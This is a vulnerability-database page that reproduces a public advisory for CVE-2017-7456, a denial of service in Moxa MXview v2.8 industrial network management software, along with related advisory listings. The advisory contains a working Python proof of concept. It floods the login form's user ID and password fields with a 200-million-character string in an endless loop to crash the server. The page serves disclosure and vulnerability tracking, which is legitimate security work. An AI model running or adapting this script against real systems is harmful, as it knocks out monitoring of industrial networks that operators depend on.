Vulners
Lucene search
Moxa MXview v2.8 Denial Of Service Exploit
| Reporter | Title | Published | Views | Family All 10 |
|---|---|---|---|---|
 | Moxa MXView security vulnerability (CNVD-2017-05671) | 20 Apr 201700:00 | – | cnvd |
 | Moxa MXView Denial of Service (CVE-2017-7456) | 31 Oct 202200:00 | – | checkpoint_advisories |
 | CVE-2017-7456 | 14 Apr 201714:00 | – | cve |
 | CVE-2017-7456 | 14 Apr 201714:00 | – | cvelist |
 | Moxa MXview 2.8 - Denial of Service | 10 Apr 201700:00 | – | exploitdb |
 | Moxa MXview 2.8 - Denial of Service | 10 Apr 201700:00 | – | exploitpack |
 | CVE-2017-7456 | 14 Apr 201714:59 | – | nvd |
 | Moxa MXview < 2.9 Multiple Vulnerabilities (HTTP) - Active Check | 11 Apr 201700:00 | – | openvas |
 | Moxa MXView 2.8 Denial Of Service | 10 Apr 201700:00 | – | packetstorm |
 | Design/Logic Flaw | 14 Apr 201714:59 | – | prion |
10
[+] Credits: John Page AKA hyp3rlinx
Vendor:
============
www.moxa.com
Product:
===========
MXView v2.8
Download:
http://www.moxa.com/product/MXstudio.htm
MXview Industrial Network Management Software.
Auto discovery of network devices and physical connections
Event playback for quick troubleshooting
Color-coded VLAN/IGMP groups and other visualized network data
Supports MXview ToGo mobile app for remote monitoring and notification—anytime, anywhere.
Vulnerability Type:
===================
Denial Of Service
CVE Reference:
==============
CVE-2017-7456
Security Issue:
================
Remote attackers can DOS MXView server by sending large string of junk characters for the user ID and password field login credentials.
Exploit/POC:
=============
import urllib,urllib2
print 'Moxa MXview v2.8 web interface DOS'
print 'hyp3rlinx'
IP=raw_input("[Moxa MXView IP]>")
PAYLOAD="A"*200000000
url = 'http://'+IP+'/goform/account'
data = urllib.urlencode({'uid' : PAYLOAD, 'pwd' : PAYLOAD, 'action' : 'login'})
while 1:
req = urllib2.Request(url, data)
res = urllib2.urlopen(req)
print res
# 0day.today [2018-03-02] #Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
10 Apr 2017 00:00Current
7.6High risk
Vulners AI Score7.6
EPSS0.10539